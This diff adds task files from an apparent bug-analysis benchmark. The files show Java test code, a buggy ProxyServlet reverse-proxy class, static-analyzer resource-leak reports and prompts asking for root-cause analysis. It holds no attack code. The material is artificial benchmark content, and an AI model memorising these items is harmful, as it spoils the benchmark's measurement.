+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 222 is not released after line 222.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestGeomFirst()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestGeomFirst():void.f25c0d7839bb17af41611c5ae6b223ca
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestGeomFirst|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+d9d98e7269db7c6e2b3af5eaab642afe
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8752/instruction.md b/inferredbugs-8752/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf5926e744f0b6a2987f1d99ca1c7657f07a9f51
--- /dev/null
+++ b/inferredbugs-8752/instruction.md
@@ -0,0 +1,752 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pallas
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright 2019 vip.com.
+ * <p>
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * </p>
+ */
+
+package com.vip.pallas.console.httpproxy;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.HttpCookie;
+import java.net.URI;
+import java.util.Arrays;
+import java.util.BitSet;
+import java.util.Enumeration;
+import java.util.Formatter;
+import java.util.List;
+import java.util.stream.Stream;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.apache.http.Header;
+import org.apache.http.HttpEntity;
+import org.apache.http.HttpEntityEnclosingRequest;
+import org.apache.http.HttpHeaders;
+import org.apache.http.HttpHost;
+import org.apache.http.HttpRequest;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.config.CookieSpecs;
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.methods.AbortableHttpRequest;
+import org.apache.http.client.utils.URIUtils;
+import org.apache.http.entity.InputStreamEntity;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.message.BasicHttpEntityEnclosingRequest;
+import org.apache.http.message.BasicHttpRequest;
+import org.apache.http.message.HeaderGroup;
+import org.apache.http.util.EntityUtils;
+
+/**
+ * An HTTP reverse proxy/gateway servlet. It is designed to be extended for customization
+ * if desired. Most of the work is handled by
+ * <a href="http://hc.apache.org/httpcomponents-client-ga/">Apache HttpClient</a>.
+ * <p>
+ *   There are alternatives to a servlet based proxy such as Apache mod_proxy if that is available to you. However
+ *   this servlet is easily customizable by Java, secure-able by your web application's security (e.g. spring-security),
+ *   portable across servlet engines, and is embeddable into another web application.
+ * </p>
+ * <p>
+ *   Inspiration: http://httpd.apache.org/docs/2.0/mod/mod_proxy.html
+ * </p>
+ *
+ * @author David Smiley dsmiley@mitre.org
+ */
+@SuppressWarnings({ "deprecation", "serial" })
+public class ProxyServlet extends HttpServlet {
+
+  /* INIT PARAMETER NAME CONSTANTS */
+
+  /** A boolean parameter name to enable logging of input and target URLs to the servlet log. */
+  public static final String P_LOG = "log";
+
+  /** A boolean parameter name to enable forwarding of the client IP  */
+  public static final String P_FORWARDEDFOR = "forwardip";
+
+  /** A boolean parameter name to keep HOST parameter as-is  */
+  public static final String P_PRESERVEHOST = "preserveHost";
+
+  /** A boolean parameter name to keep COOKIES as-is  */
+  public static final String P_PRESERVECOOKIES = "preserveCookies";
+
+  /** A boolean parameter name to have auto-handle redirects */
+  public static final String P_HANDLEREDIRECTS = "http.protocol.handle-redirects"; // ClientPNames.HANDLE_REDIRECTS
+
+  /** A integer parameter name to set the socket connection timeout (millis) */
+  public static final String P_CONNECTTIMEOUT = "http.socket.timeout"; // CoreConnectionPNames.SO_TIMEOUT
+
+  /** The parameter name for the target (destination) URI to proxy to. */
+  protected static final String P_TARGET_URI = "targetUri";
+  protected static final String ATTR_TARGET_URI =
+          ProxyServlet.class.getSimpleName() + ".targetUri";
+  protected static final String ATTR_TARGET_HOST =
+          ProxyServlet.class.getSimpleName() + ".targetHost";
+
+  /* MISC */
+
+  protected boolean doLog = false;
+  protected boolean doForwardIP = true;
+  /** User agents shouldn't send the url fragment but what if it does? */
+  protected boolean doSendUrlFragment = true;
+  protected boolean doPreserveHost = false;
+  protected boolean doPreserveCookies = false;
+  protected boolean doHandleRedirects = false;
+  protected int connectTimeout = -1;
+
+  //These next 3 are cached here, and should only be referred to in initialization logic. See the
+  // ATTR_* parameters.
+  /** From the configured parameter "targetUri". */
+  protected String targetUri;
+  protected URI targetUriObj;//new URI(targetUri)
+  protected HttpHost targetHost;//URIUtils.extractHost(targetUriObj);
+
+  private HttpClient proxyClient;
+
+  @Override
+  public String getServletInfo() {
+    return "A proxy servlet by David Smiley, dsmiley@apache.org";
+  }
+
+
+  protected String getTargetUri(HttpServletRequest servletRequest) {
+    return (String) servletRequest.getAttribute(ATTR_TARGET_URI);
+  }
+
+  protected HttpHost getTargetHost(HttpServletRequest servletRequest) {
+    return (HttpHost) servletRequest.getAttribute(ATTR_TARGET_HOST);
+  }
+
+  /**
+   * Reads a configuration parameter. By default it reads servlet init parameters but
+   * it can be overridden.
+   */
+  protected String getConfigParam(String key) {
+    return getServletConfig().getInitParameter(key);
+  }
+
+  @Override
+  public void init() throws ServletException {
+    String doLogStr = getConfigParam(P_LOG);
+    if (doLogStr != null) {
+      this.doLog = Boolean.parseBoolean(doLogStr);
+    }
+
+    String doForwardIPString = getConfigParam(P_FORWARDEDFOR);
+    if (doForwardIPString != null) {
+      this.doForwardIP = Boolean.parseBoolean(doForwardIPString);
+    }
+
+    String preserveHostString = getConfigParam(P_PRESERVEHOST);
+    if (preserveHostString != null) {
+      this.doPreserveHost = Boolean.parseBoolean(preserveHostString);
+    }
+
+    String preserveCookiesString = getConfigParam(P_PRESERVECOOKIES);
+    if (preserveCookiesString != null) {
+      this.doPreserveCookies = Boolean.parseBoolean(preserveCookiesString);
+    }
+
+    String handleRedirectsString = getConfigParam(P_HANDLEREDIRECTS);
+    if (handleRedirectsString != null) {
+      this.doHandleRedirects = Boolean.parseBoolean(handleRedirectsString);
+    }
+
+    String connectTimeoutString = getConfigParam(P_CONNECTTIMEOUT);
+    if (connectTimeoutString != null) {
+      this.connectTimeout = Integer.parseInt(connectTimeoutString);
+    }
+
+    initTarget();//sets target*
+
+    proxyClient = createHttpClient(buildRequestConfig());
+  }
+
+  /**
+   * Sub-classes can override specific behaviour of {@link org.apache.http.client.config.RequestConfig}.
+   */
+  protected RequestConfig buildRequestConfig() {
+    RequestConfig.Builder builder = RequestConfig.custom()
+            .setRedirectsEnabled(doHandleRedirects)
+            .setCookieSpec(CookieSpecs.IGNORE_COOKIES) // we handle them in the servlet instead
+            .setConnectTimeout(connectTimeout);
+    return builder.build();
+  }
+
+  protected void initTarget() throws ServletException {
+    targetUri = getConfigParam(P_TARGET_URI);
+    if (targetUri == null)
+      throw new ServletException(P_TARGET_URI+" is required.");
+    //test it's valid
+    try {
+      targetUriObj = new URI(targetUri);
+    } catch (Exception e) {
+      throw new ServletException("Trying to process targetUri init parameter: "+e,e);
+    }
+    targetHost = URIUtils.extractHost(targetUriObj);
+  }
+
+  /** Called from {@link #init(javax.servlet.ServletConfig)}.
+   *  HttpClient offers many opportunities for customization.
+   *  In any case, it should be thread-safe.
+   **/
+  protected HttpClient createHttpClient(final RequestConfig requestConfig) {
+    return HttpClientBuilder.create().setMaxConnPerRoute(50)
+            .setDefaultRequestConfig(requestConfig).build();
+  }
+
+  /** The http client used.
+   * @see #createHttpClient(RequestConfig) */
+  protected HttpClient getProxyClient() {
+    return proxyClient;
+  }
+
+  @Override
+  public void destroy() {
+    //Usually, clients implement Closeable:
+    if (proxyClient instanceof Closeable) {
+      try {
+        ((Closeable) proxyClient).close();
+      } catch (IOException e) {
+        log("While destroying servlet, shutting down HttpClient: "+e, e);
+      }
+    } else {
+      //Older releases require we do this:
+      if (proxyClient != null)
+        proxyClient.getConnectionManager().shutdown();
+    }
+    super.destroy();
+  }
+
+  @Override
+  protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse)
+      throws ServletException, IOException {
+    //initialize request attributes from caches if unset by a subclass by this point
+    if (servletRequest.getAttribute(ATTR_TARGET_URI) == null) {
+      servletRequest.setAttribute(ATTR_TARGET_URI, targetUri);
+    }
+    if (servletRequest.getAttribute(ATTR_TARGET_HOST) == null) {
+      servletRequest.setAttribute(ATTR_TARGET_HOST, targetHost);
+    }
+
+    // Make the Request
+    //note: we won't transfer the protocol version because I'm not sure it would truly be compatible
+    String method = servletRequest.getMethod();
+    String proxyRequestUri = rewriteUrlFromRequest(servletRequest);
+    HttpRequest proxyRequest;
+    //spec: RFC 2616, sec 4.3: either of these two headers signal that there is a message body.
+    if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null ||
+        servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) {
+      proxyRequest = newProxyRequestWithEntity(method, proxyRequestUri, servletRequest);
+    } else {
+      proxyRequest = new BasicHttpRequest(method, proxyRequestUri);
+    }
+
+    copyRequestHeaders(servletRequest, proxyRequest);
+
+    setXForwardedForHeader(servletRequest, proxyRequest);
+
+    HttpResponse proxyResponse = null;
+    try {
+      // Execute the request
+      proxyResponse = doExecute(servletRequest, servletResponse, proxyRequest);
+
+      // Process the response:
+
+      // Pass the response code. This method with the "reason phrase" is deprecated but it's the
+      //   only way to pass the reason along too.
+      int statusCode = proxyResponse.getStatusLine().getStatusCode();
+      //noinspection deprecation
+      servletResponse.setStatus(statusCode, proxyResponse.getStatusLine().getReasonPhrase());
+
+      // Copying response headers to make sure SESSIONID or other Cookie which comes from the remote
+      // server will be saved in client when the proxied url was redirected to another one.
+      // See issue [#51](https://github.com/mitre/HTTP-Proxy-Servlet/issues/51)
+      copyResponseHeaders(proxyResponse, servletRequest, servletResponse);
+
+      if (statusCode == HttpServletResponse.SC_NOT_MODIFIED) {
+        // 304 needs special handling.  See:
+        // http://www.ics.uci.edu/pub/ietf/http/rfc1945.html#Code304
+        // Don't send body entity/content!
+        servletResponse.setIntHeader(HttpHeaders.CONTENT_LENGTH, 0);
+      } else {
+        // Send the content to the client
+        copyResponseEntity(proxyResponse, servletResponse, proxyRequest, servletRequest);
+      }
+
+    } catch (Exception e) {
+      //abort request, according to best practice with HttpClient
+      if (proxyRequest instanceof AbortableHttpRequest) {
+        AbortableHttpRequest abortableHttpRequest = (AbortableHttpRequest) proxyRequest;
+        abortableHttpRequest.abort();
+      }
+      if (e instanceof RuntimeException)
+        throw (RuntimeException)e;
+      if (e instanceof ServletException)
+        throw (ServletException)e;
+      //noinspection ConstantConditions
+      if (e instanceof IOException)
+        throw (IOException) e;
+      throw new RuntimeException(e);
+
+    } finally {
+      // make sure the entire entity was consumed, so the connection is released
+      if (proxyResponse != null)
+        consumeQuietly(proxyResponse.getEntity());
+      //Note: Don't need to close servlet outputStream:
+      // http://stackoverflow.com/questions/1159168/should-one-call-close-on-httpservletresponse-getoutputstream-getwriter
+    }
+  }
+
+  protected HttpResponse doExecute(HttpServletRequest servletRequest, HttpServletResponse servletResponse,
+                                   HttpRequest proxyRequest) throws IOException {
+    if (doLog) {
+      log("proxy " + servletRequest.getMethod() + " uri: " + servletRequest.getRequestURI() + " -- " +
+              proxyRequest.getRequestLine().getUri());
+    }
+    return proxyClient.execute(getTargetHost(servletRequest), proxyRequest);
+  }
+
+  protected HttpRequest newProxyRequestWithEntity(String method, String proxyRequestUri,
+                                                HttpServletRequest servletRequest)
+          throws IOException {
+    HttpEntityEnclosingRequest eProxyRequest =
+            new BasicHttpEntityEnclosingRequest(method, proxyRequestUri);
+    // Add the input entity (streamed)
+    //  note: we don't bother ensuring we close the servletInputStream since the container handles it
+    eProxyRequest.setEntity(
+            new InputStreamEntity(servletRequest.getInputStream(), getContentLength(servletRequest)));
+    return eProxyRequest;
+  }
+
+  // Get the header value as a long in order to more correctly proxy very large requests
+  private long getContentLength(HttpServletRequest request) {
+    String contentLengthHeader = request.getHeader("Content-Length");
+    if (contentLengthHeader != null) {
+      return Long.parseLong(contentLengthHeader);
+    }
+    return -1L;
+  }
+
+  protected void closeQuietly(Closeable closeable) {
+    try {
+      closeable.close();
+    } catch (IOException e) {
+      log(e.getMessage(), e);
+    }
+  }
+
+  /** HttpClient v4.1 doesn't have the
+   * {@link org.apache.http.util.EntityUtils#consumeQuietly(org.apache.http.HttpEntity)} method. */
+  protected void consumeQuietly(HttpEntity entity) {
+    try {
+      EntityUtils.consume(entity);
+    } catch (IOException e) {//ignore
+      log(e.getMessage(), e);
+    }
+  }
+
+  /** These are the "hop-by-hop" headers that should not be copied.
+   * http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html
+   * I use an HttpClient HeaderGroup class instead of Set&lt;String&gt; because this
+   * approach does case insensitive lookup faster.
+   */
+  protected static final HeaderGroup hopByHopHeaders;
+  static {
+    hopByHopHeaders = new HeaderGroup();
+    String[] headers = new String[] {
+        "Connection", "Keep-Alive", "Proxy-Authenticate", "Proxy-Authorization",
+        "TE", "Trailers", "Transfer-Encoding", "Upgrade" };
+    for (String header : headers) {
+      hopByHopHeaders.addHeader(new BasicHeader(header, null));
+    }
+  }
+
+  /** Copy request headers from the servlet client to the proxy request. */
+  protected void copyRequestHeaders(HttpServletRequest servletRequest, HttpRequest proxyRequest) {
+    // Get an Enumeration of all of the header names sent by the client
+    @SuppressWarnings("unchecked")
+    Enumeration<String> enumerationOfHeaderNames = servletRequest.getHeaderNames();
+    while (enumerationOfHeaderNames.hasMoreElements()) {
+      String headerName = enumerationOfHeaderNames.nextElement();
+      copyRequestHeader(servletRequest, proxyRequest, headerName);
+    }
+  }
+
+  /**
+   * Copy a request header from the servlet client to the proxy request.
+   * This is easily overwritten to filter out certain headers if desired.
+   */
+  protected void copyRequestHeader(HttpServletRequest servletRequest, HttpRequest proxyRequest,
+                                   String headerName) {
+    //Instead the content-length is effectively set via InputStreamEntity
+    if (headerName.equalsIgnoreCase(HttpHeaders.CONTENT_LENGTH))
+      return;
+    if (hopByHopHeaders.containsHeader(headerName))
+      return;
+
+    @SuppressWarnings("unchecked")
+    Enumeration<String> headers = servletRequest.getHeaders(headerName);
+    while (headers.hasMoreElements()) {//sometimes more than one value
+      String headerValue = headers.nextElement();
+      // In case the proxy host is running multiple virtual servers,
+      // rewrite the Host header to ensure that we get content from
+      // the correct virtual server
+      if (!doPreserveHost && headerName.equalsIgnoreCase(HttpHeaders.HOST)) {
+        HttpHost host = getTargetHost(servletRequest);
+        headerValue = host.getHostName();
+        if (host.getPort() != -1)
+          headerValue += ":"+host.getPort();
+      } else if (!doPreserveCookies && headerName.equalsIgnoreCase(org.apache.http.cookie.SM.COOKIE)) {
+        headerValue = getRealCookie(headerValue);
+      }
+      proxyRequest.addHeader(headerName, headerValue);
+    }
+  }
+
+  private void setXForwardedForHeader(HttpServletRequest servletRequest,
+                                      HttpRequest proxyRequest) {
+    if (doForwardIP) {
+      String forHeaderName = "X-Forwarded-For";
+      String forHeader = servletRequest.getRemoteAddr();
+      String existingForHeader = servletRequest.getHeader(forHeaderName);
+      if (existingForHeader != null) {
+        forHeader = existingForHeader + ", " + forHeader;
+      }
+      proxyRequest.setHeader(forHeaderName, forHeader);
+
+      String protoHeaderName = "X-Forwarded-Proto";
+      String protoHeader = servletRequest.getScheme();
+      proxyRequest.setHeader(protoHeaderName, protoHeader);
+    }
+  }
+
+  /** Copy proxied response headers back to the servlet client. */
+  protected void copyResponseHeaders(HttpResponse proxyResponse, HttpServletRequest servletRequest,
+                                     HttpServletResponse servletResponse) {
+    for (Header header : proxyResponse.getAllHeaders()) {
+      copyResponseHeader(servletRequest, servletResponse, header);
+    }
+  }
+
+  /** Copy a proxied response header back to the servlet client.
+   * This is easily overwritten to filter out certain headers if desired.
+   */
+  protected void copyResponseHeader(HttpServletRequest servletRequest,
+                                  HttpServletResponse servletResponse, Header header) {
+    String headerName = header.getName();
+    if (hopByHopHeaders.containsHeader(headerName))
+      return;
+    String headerValue = header.getValue();
+    if (headerName.equalsIgnoreCase(org.apache.http.cookie.SM.SET_COOKIE) ||
+            headerName.equalsIgnoreCase(org.apache.http.cookie.SM.SET_COOKIE2)) {
+      copyProxyCookie(servletRequest, servletResponse, headerValue);
+    } else if (headerName.equalsIgnoreCase(HttpHeaders.LOCATION)) {
+      // LOCATION Header may have to be rewritten.
+      servletResponse.addHeader(headerName, rewriteUrlFromResponse(servletRequest, headerValue));
+    } else {
+      servletResponse.addHeader(headerName, headerValue);
+    }
+  }
+
+  /** Copy cookie from the proxy to the servlet client.
+   *  Replaces cookie path to local path and renames cookie to avoid collisions.
+   */
+  protected void copyProxyCookie(HttpServletRequest servletRequest,
+                                 HttpServletResponse servletResponse, String headerValue) {
+    List<HttpCookie> cookies = HttpCookie.parse(headerValue);
+    String path = servletRequest.getContextPath(); // path starts with / or is empty string
+    path += servletRequest.getServletPath(); // servlet path starts with / or is empty string
+    if(path.isEmpty()){
+        path = "/";
+    }
+
+    for (HttpCookie cookie : cookies) {
+      //set cookie name prefixed w/ a proxy value so it won't collide w/ other cookies
+      String proxyCookieName = doPreserveCookies ? cookie.getName() : getCookieNamePrefix(cookie.getName()) + cookie.getName();
+      Cookie servletCookie = new Cookie(proxyCookieName, cookie.getValue());
+      servletCookie.setComment(cookie.getComment());
+      servletCookie.setMaxAge((int) cookie.getMaxAge());
+      servletCookie.setPath(path); //set to the path of the proxy servlet
+      // don't set cookie domain
+      servletCookie.setSecure(cookie.getSecure());
+      servletCookie.setVersion(cookie.getVersion());
+      servletResponse.addCookie(servletCookie);
+    }
+  }
+  
+  public static void main(String[] args) {
+	        /**获取单词，并且去重**/  
+	        List<String> list = Arrays.asList("hello welcome", "world hello", "hello world",  
+	            "hello world welcome");  
+	  
+	        //map和flatmap的区别  
+	        list.stream().map(item -> Arrays.stream(item.split(" "))).distinct().forEach(System.out::println);  
+	        System.out.println("---------- ");  
+	        list.stream().flatMap(item -> Arrays.stream(item.split(" "))).distinct().forEach(System.out::println); 
+}
+
+  /** Take any client cookies that were originally from the proxy and prepare them to send to the
+   * proxy.  This relies on cookie headers being set correctly according to RFC 6265 Sec 5.4.
+   * This also blocks any local cookies from being sent to the proxy.
+   */
+  protected String getRealCookie(String cookieValue) {
+    StringBuilder escapedCookie = new StringBuilder();
+    String cookies[] = cookieValue.split("[;,]");
+    
+    Stream.of(cookies).map(cookie -> cookie.split("=")).filter(cookieSplit -> cookieSplit.length == 2).forEach(cookieSplit -> {
+    	String cookieName = cookieSplit[0].trim();
+        if (cookieName.startsWith(getCookieNamePrefix(cookieName))) {
+          cookieName = cookieName.substring(getCookieNamePrefix(cookieName).length());
+          if (escapedCookie.length() > 0) {
+            escapedCookie.append("; ");
+          }
+          escapedCookie.append(cookieName).append("=").append(cookieSplit[1].trim());
+        }
+    });
+    return escapedCookie.toString();
+  }
+
+  /** The string prefixing rewritten cookies. */
+  protected String getCookieNamePrefix(String name) {
+    return "!Proxy!" + getServletConfig().getServletName();
+  }
+
+  /** Copy response body data (the entity) from the proxy to the servlet client. */
+  protected void copyResponseEntity(HttpResponse proxyResponse, HttpServletResponse servletResponse,
+                                    HttpRequest proxyRequest, HttpServletRequest servletRequest)
+          throws IOException {
+    HttpEntity entity = proxyResponse.getEntity();
+    if (entity != null) {
+      OutputStream servletOutputStream = servletResponse.getOutputStream();
+      entity.writeTo(servletOutputStream);
+    }
+  }
+
+  /** Reads the request URI from {@code servletRequest} and rewrites it, considering targetUri.
+   * It's used to make the new request.
+   */
+  protected String rewriteUrlFromRequest(HttpServletRequest servletRequest) {
+    StringBuilder uri = new StringBuilder(500);
+    uri.append(getTargetUri(servletRequest));
+    // Handle the path given to the servlet
+    if (servletRequest.getPathInfo() != null) {//ex: /my/path.html
+      uri.append(encodeUriQuery(servletRequest.getPathInfo()));
+    }
+    // Handle the query string & fragment
+    String queryString = servletRequest.getQueryString();//ex:(following '?'): name=value&foo=bar#fragment
+    String fragment = null;
+    //split off fragment from queryString, updating queryString if found
+    if (queryString != null) {
+      int fragIdx = queryString.indexOf('#');
+      if (fragIdx >= 0) {
+        fragment = queryString.substring(fragIdx + 1);
+        queryString = queryString.substring(0,fragIdx);
+      }
+    }
+
+    queryString = rewriteQueryStringFromRequest(servletRequest, queryString);
+    if (queryString != null && queryString.length() > 0) {
+      uri.append('?');
+      uri.append(encodeUriQuery(queryString));
+    }
+
+    if (doSendUrlFragment && fragment != null) {
+      uri.append('#');
+      uri.append(encodeUriQuery(fragment));
+    }
+    return uri.toString();
+  }
+
+  protected String rewriteQueryStringFromRequest(HttpServletRequest servletRequest, String queryString) {
+    return queryString;
+  }
+
+  /** For a redirect response from the target server, this translates {@code theUrl} to redirect to
+   * and translates it to one the original client can use. */
+  protected String rewriteUrlFromResponse(HttpServletRequest servletRequest, String theUrl) {
+    //TODO document example paths
+    final String targetUri = getTargetUri(servletRequest);
+    if (theUrl.startsWith(targetUri)) {
+      /*-
+       * The URL points back to the back-end server.
+       * Instead of returning it verbatim we replace the target path with our
+       * source path in a way that should instruct the original client to
+       * request the URL pointed through this Proxy.
+       * We do this by taking the current request and rewriting the path part
+       * using this servlet's absolute path and the path from the returned URL
+       * after the base target URL.
+       */
+      StringBuffer curUrl = servletRequest.getRequestURL();//no query
+      int pos;
+      // Skip the protocol part
+      if ((pos = curUrl.indexOf("://"))>=0) {
+        // Skip the authority part
+        // + 3 to skip the separator between protocol and authority
+        if ((pos = curUrl.indexOf("/", pos + 3)) >=0) {
+          // Trim everything after the authority part.
+          curUrl.setLength(pos);
+        }
+      }
+      // Context path starts with a / if it is not blank
+      curUrl.append(servletRequest.getContextPath());
+      // Servlet path starts with a / if it is not blank
+      curUrl.append(servletRequest.getServletPath());
+      curUrl.append(theUrl, targetUri.length(), theUrl.length());
+      theUrl = curUrl.toString();
+    }
+    return theUrl;
+  }
+
+  /** The target URI as configured. Not null. */
+  public String getTargetUri() { return targetUri; }
+
+  /**
+   * Encodes characters in the query or fragment part of the URI.
+   *
+   * <p>Unfortunately, an incoming URI sometimes has characters disallowed by the spec.  HttpClient
+   * insists that the outgoing proxied request has a valid URI because it uses Java's {@link URI}.
+   * To be more forgiving, we must escape the problematic characters.  See the URI class for the
+   * spec.
+   *
+   * @param in example: name=value&amp;foo=bar#fragment
+   */
+  protected static CharSequence encodeUriQuery(CharSequence in) {
+    //Note that I can't simply use URI.java to encode because it will escape pre-existing escaped things.
+    StringBuilder outBuf = null;
+    Formatter formatter = null;
+    for(int i = 0; i < in.length(); i++) {
+      char c = in.charAt(i);
+      boolean escape = true;
+      if (c < 128) {
+        if (asciiQueryChars.get((int)c)) {
+          escape = false;
+        }
+      } else if (!Character.isISOControl(c) && !Character.isSpaceChar(c)) {//not-ascii
+        escape = false;
+      }
+      if (!escape) {
+        if (outBuf != null)
+          outBuf.append(c);
+      } else {
+        //escape
+        if (outBuf == null) {
+          outBuf = new StringBuilder(in.length() + 5*3);
+          outBuf.append(in,0,i);
+          formatter = new Formatter(outBuf);
+        }
+        //leading %, 0 padded, width 2, capital hex
+        formatter.format("%%%02X",(int)c);//TODO
+      }
+    }
+    return outBuf != null ? outBuf : in;
+  }
+
+  protected static final BitSet asciiQueryChars;
+  static {
+    char[] c_unreserved = "_-!.~'()*".toCharArray();//plus alphanum
+    char[] c_punct = ",;:$&+=".toCharArray();
+    char[] c_reserved = "?/[]@".toCharArray();//plus punct
+
+    asciiQueryChars = new BitSet(128);
+    for(char c = 'a'; c <= 'z'; c++) asciiQueryChars.set((int)c);
+    for(char c = 'A'; c <= 'Z'; c++) asciiQueryChars.set((int)c);
+    for(char c = '0'; c <= '9'; c++) asciiQueryChars.set((int)c);
+    for(char c : c_unreserved) asciiQueryChars.set((int)c);
+    for(char c : c_punct) asciiQueryChars.set((int)c);
+    for(char c : c_reserved) asciiQueryChars.set((int)c);
+
+    asciiQueryChars.set((int)'%');//leave existing percent escapes in place
+  }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.util.Formatter` acquired by call to `new()` at line 653 is not released after line 659.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CharSequence ProxyServlet.encodeUriQuery(CharSequence)
+
+### Procedure Id:
+com.vip.pallas.console.httpproxy.ProxyServlet.encodeUriQuery(java.lang.CharSequence):java.lang.CharS.ce5c05867d89bca3af7ce3e1b4402dd7
+
+### File:
+pallas-console/src/main/java/com/vip/pallas/console/httpproxy/ProxyServlet.java
+
+### Key:
+ProxyServlet.java|encodeUriQuery|RESOURCE_LEAK
+
+### Node Key:
+3eaf16b7e8904b2a5602aec15d348bb8
+
+### Hash:
+95d6b5926da8a5c2a317bf3efe752c9f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
